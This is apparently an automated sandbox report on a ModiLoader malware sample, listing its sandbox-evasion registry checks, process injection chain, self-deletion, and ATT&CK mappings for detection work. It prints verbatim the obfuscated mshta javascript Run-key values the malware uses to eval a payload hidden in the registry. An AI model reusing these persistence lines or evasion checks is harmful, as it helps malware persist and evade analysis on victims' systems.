modiloader | 34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9f

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 44 IoCs

resource	yara_rule
behavioral2/memory/3464-4-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3464-6-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3464-7-0x0000000000400000-0x0000000000436000-memory.dmp	modiloader_stage2
behavioral2/memory/3464-8-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/3464-12-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/1396-14-0x0000000000640000-0x0000000000704000-memory.dmp	modiloader_stage2
behavioral2/memory/1396-15-0x0000000000640000-0x0000000000704000-memory.dmp	modiloader_stage2
behavioral2/memory/116-20-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-24-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-25-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-23-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-22-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-21-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-26-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-27-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-28-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-29-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-30-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-32-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-37-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-36-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-35-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-34-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/4900-33-0x0000000000730000-0x00000000007F4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-42-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-46-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-45-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-44-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-43-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-41-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-40-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-39-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-38-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-50-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-54-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-53-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-52-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-51-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/2216-55-0x0000000001290000-0x0000000001354000-memory.dmp	modiloader_stage2
behavioral2/memory/116-65-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-68-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-67-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-66-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2
behavioral2/memory/116-64-0x0000000000400000-0x00000000004C4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:z5UVsayZ=\"JSXSMHI\";bB7=new%20ActiveXObject(\"WScript.Shell\");oHPU3X9yPR=\"S\";F5yYe=bB7.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ae433454\\\\ca06c13f\");bb39qoSmVI=\"lsrp\";eval(F5yYe);c8IzlQB2uU=\"ZurpYPhL\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
116	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:KqVUz0jzu=\"y\";n7e2=new%20ActiveXObject(\"WScript.Shell\");u7qYFLca=\"1vfX\";D1o7Vz=n7e2.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ae433454\\\\ca06c13f\");t4fg8SpU=\"OQ\";eval(D1o7Vz);slILkBBd86=\"dtzQ0Olx9F\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:e3f9oIssZ=\"Ay94ndympt\";CR5=new%20ActiveXObject(\"WScript.Shell\");U0mYLoc=\"eCmXdH6Rry\";xge2O6=CR5.RegRead(\"HKCU\\\\software\\\\ae433454\\\\ca06c13f\");Remsnw81A=\"1mdc\";eval(xge2O6);n7Pg1eaCOX=\"DDHTwNy\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	dllhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2860 set thread context of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\International	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
1396	dllhost.exe
1396	dllhost.exe
1396	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe
116	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 2860 wrote to memory of 3464	2860	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	87
PID 3464 wrote to memory of 1396	3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	88
PID 3464 wrote to memory of 1396	3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	88
PID 3464 wrote to memory of 1396	3464	34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe	88
PID 1396 wrote to memory of 116	1396	dllhost.exe	90
PID 1396 wrote to memory of 116	1396	dllhost.exe	90
PID 1396 wrote to memory of 116	1396	dllhost.exe	90
PID 116 wrote to memory of 4900	116	dllhost.exe	93
PID 116 wrote to memory of 4900	116	dllhost.exe	93
PID 116 wrote to memory of 4900	116	dllhost.exe	93
PID 116 wrote to memory of 2216	116	dllhost.exe	94
PID 116 wrote to memory of 2216	116	dllhost.exe	94
PID 116 wrote to memory of 2216	116	dllhost.exe	94

C:\Users\Admin\AppData\Local\Temp\34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
"C:\Users\Admin\AppData\Local\Temp\34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2860
- C:\Users\Admin\AppData\Local\Temp\34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe
  "C:\Users\Admin\AppData\Local\Temp\34b88c8aa8664a6cee184a38e8960b53a6afb2fb65f411d4b0392bf9a2bb8b9fN.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3464
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1396
  - - C:\Windows\SysWOW64\dllhost.exe
      dllhost.exe
      4⤵
      Looks for VirtualBox Guest Additions in registry
      Adds policy Run key to start application
      Looks for VMWare Tools registry key
      Checks BIOS information in registry
      Deletes itself
      Adds Run key to start application
      Maps connected drives based on registry
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:116
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4900
    - - C:\Windows\SysWOW64\explorer.exe
        
        explorer.exe
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2216

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion